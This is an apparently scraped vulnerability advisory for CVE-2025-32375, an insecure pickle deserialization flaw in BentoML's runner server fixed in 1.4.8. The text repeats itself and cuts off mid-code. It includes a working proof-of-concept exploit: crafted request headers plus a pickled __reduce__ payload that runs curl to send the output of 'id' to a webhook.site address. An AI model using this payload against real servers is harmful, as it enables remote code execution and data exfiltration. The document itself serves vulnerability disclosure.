CVE-2025-32375

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.8, there was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. This vulnerability is fixed in 1.4.8.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.8, there was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. This vulnerability is fixed in 1.4.8.

Summary

There was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server.

PoC

• First, create a file named model.py to create a simple model and save it

import bentoml
import numpy as np

class mymodel:
    def predict(self, info):
        return np.abs(info)
    def __call__(self, info):
        return self.predict(info)

model = mymodel()
bentoml.picklable_model.save_model("mymodel", model)

• Then run the following command to save this model

python3 model.py

• Next, create bentofile.yaml to build this model

service: "service.py"  
description: "A model serving service with BentoML"  
python:
  packages:
    - bentoml
    - numpy
models:
  - tag: MyModel:latest  
include:
  - "*.py"  

• Then, create service.py to host this model

import bentoml
from bentoml.io import NumpyNdarray
import numpy as np


model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner()

svc = bentoml.Service("myservice", runners=[model_runner])

async def predict(input_data: np.ndarray):

    input_columns = np.split(input_data, input_data.shape[1], axis=1)
    result_generator = model_runner.async_run(input_columns, is_stream=True)
    async for result in result_generator:
        yield result

• Then, run the following commands to build and host this model

bentoml build
bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0 --port 8888

• Finally, run this below python script to exploit insecure deserialization vulnerability in BentoML's runner server.

import requests
import pickle

url = "http://0.0.0.0:8888/"

headers = {
    "args-number": "1",
    "Content-Type": "application/vnd.bentoml.pickled",
    "Payload-Container": "NdarrayContainer", 
    "Payload-Meta": '{"format": "default"}',
    "Batch-Size": "-1",
}

class P:
    def __reduce__(self):
        return  (__import__('os').system, ('curl -X POST -d "$(id)" https://webhook.site/61093bfe-a006-4e9e-93e4-e201eabbb2c3',))

response = requests.post(url, headers=headers, data=pickle.dumps(P()))

print(response)

And I can replace the NdarrayContainer with PandasDataFrameContainer in Payload-Container header and the exploit still working. After running exploit.py then the output of the command id will be send out to the WebHook server.

Root Cause Analysis:

• When handling a request in BentoML runner server in src/bentoml/_internal/server/runner_app.py, when the request header args-number is equal to 1, it will call the function _deserialize_single_param like the code below:

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L291-L298
async def _request_handler(request: Request) -> Response:
    assert self._is_ready

    arg_num = int(request.headers["args-number"])
    r_: bytes = await request.body()

    if arg_num == 1:
        params: Params[t.Any] = _deserialize_single_param(request, r_)

• Then this is the function of _deserialize_single_param, which will take the value of all request headers of Payload-Container, Payload-Meta and Batch-Size and the crafted into Payload class which will contain the data from request.body

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L376-L393
def _deserialize_single_param(request: Request, bs: bytes) -> Params[t.Any]:
    container = request.headers["Payload-Container"]
    meta = json.loads(request.headers["Payload-Meta"])
    batch_size = int(request.headers["Batch-Size"])
    kwarg_name = request.headers.get("Kwarg-Name")
    payload = Payload(
        data=bs,
        meta=meta,
        batch_size=batch_size,
        container=container,
    )
    if kwarg_name:
        d =…

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.8, there was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. This vulnerability is fixed in 1.4.8.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.8, there was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. This vulnerability is fixed in 1.4.8.

Summary

There was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server.

PoC

• First, create a file named model.py to create a simple model and save it

import bentoml
import numpy as np

class mymodel:
    def predict(self, info):
        return np.abs(info)
    def __call__(self, info):
        return self.predict(info)

model = mymodel()
bentoml.picklable_model.save_model("mymodel", model)

• Then run the following command to save this model

python3 model.py

• Next, create bentofile.yaml to build this model

service: "service.py"  
description: "A model serving service with BentoML"  
python:
  packages:
    - bentoml
    - numpy
models:
  - tag: MyModel:latest  
include:
  - "*.py"  

• Then, create service.py to host this model

import bentoml
from bentoml.io import NumpyNdarray
import numpy as np


model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner()

svc = bentoml.Service("myservice", runners=[model_runner])

async def predict(input_data: np.ndarray):

    input_columns = np.split(input_data, input_data.shape[1], axis=1)
    result_generator = model_runner.async_run(input_columns, is_stream=True)
    async for result in result_generator:
        yield result

• Then, run the following commands to build and host this model

bentoml build
bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0 --port 8888

• Finally, run this below python script to exploit insecure deserialization vulnerability in BentoML's runner server.

import requests
import pickle

url = "http://0.0.0.0:8888/"

headers = {
    "args-number": "1",
    "Content-Type": "application/vnd.bentoml.pickled",
    "Payload-Container": "NdarrayContainer", 
    "Payload-Meta": '{"format": "default"}',
    "Batch-Size": "-1",
}

class P:
    def __reduce__(self):
        return  (__import__('os').system, ('curl -X POST -d "$(id)" https://webhook.site/61093bfe-a006-4e9e-93e4-e201eabbb2c3',))

response = requests.post(url, headers=headers, data=pickle.dumps(P()))

print(response)

And I can replace the NdarrayContainer with PandasDataFrameContainer in Payload-Container header and the exploit still working. After running exploit.py then the output of the command id will be send out to the WebHook server.

Root Cause Analysis:

• When handling a request in BentoML runner server in src/bentoml/_internal/server/runner_app.py, when the request header args-number is equal to 1, it will call the function _deserialize_single_param like the code below:

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L291-L298
async def _request_handler(request: Request) -> Response:
    assert self._is_ready

    arg_num = int(request.headers["args-number"])
    r_: bytes = await request.body()

    if arg_num == 1:
        params: Params[t.Any] = _deserialize_single_param(request, r_)

• Then this is the function of _deserialize_single_param, which will take the value of all request headers of Payload-Container, Payload-Meta and Batch-Size and the crafted into Payload class which will contain the data from request.body

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L376-L393
def _deserialize_single_param(request: Request, bs: bytes) -> Params[t.Any]:
    container = request.headers["Payload-Container"]
    meta = json.loads(request.headers["Payload-Meta"])
    batch_size = int(request.headers["Batch-Size"])
    kwarg_name = request.headers.get("Kwarg-Name")
    payload = Payload(
        data=bs,
        meta=meta,
        batch_size=batch_size,
        container=container,
    )
    if kwarg_name:
        d =…

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.8, there was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. This vulnerability is fixed in 1.4.8.